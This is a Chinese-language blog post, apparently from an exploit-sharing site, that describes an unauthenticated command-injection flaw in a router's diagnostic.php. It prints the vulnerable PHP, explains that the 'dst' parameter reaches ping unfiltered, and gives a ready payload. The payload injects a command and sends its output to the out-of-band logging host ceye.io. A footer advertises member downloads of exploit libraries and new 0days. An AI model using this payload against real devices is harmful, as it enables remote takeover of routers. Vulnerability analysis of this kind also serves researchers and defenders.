某路由器的远程代码执行漏洞(0day)
解开固件进入 suashfs-root/htdocs 文件夹。这个漏洞出现在 diagnostic.php 文件。直接看代码:
HTTP/1.1 200 OK
Content-Type: text/xml
<?
if ($_POST["act"] == "ping")
{
set("/runtime/diagnostic/ping", $_POST["dst"]);
$result = "OK";
}
else if ($_POST["act"] == "pingreport")
{
$result = get("x", "/runtime/diagnostic/ping");
}
echo '<!--?xml version="1.0"?-->\n';
?>
分析代码可以看到,这里没有进行权限认证,所以可以直接绕过登录。继续往下看,set(“/runtime/diagnostic/ping”, $_POST[“dst”]); 这段代码就是造成漏洞的关键代码。参数 dst 没有任何过滤直接进入到了 ping的命令执行里,导致任意命令执行漏洞。继续往下看 $result = “OK”; 无论是否执行成功,这里都会显示OK。所以这是一个盲注的命令执行。以此构造payload
url = ‘localhost/diagnostic.php’
data = “act=ping&dst=%26 ping whoami
.ceye.io%26”
因为是盲注的命令执行,所以这里需要借助一个盲打平台(如:ceye),来验证漏洞是否存在。
常见问题FAQ
- 下载须知:
- 所有工具以及资源来自网络收集,所有下载,仅供学习交流。禁止利用从本站点下载的工具进行非法活动,从事危害国家网络安全等行为,请遵守相关法律规定,如有违反与本站无关。
- 会员的作用是什么?
- 本站会上线exp漏洞库与最新0day供会员下载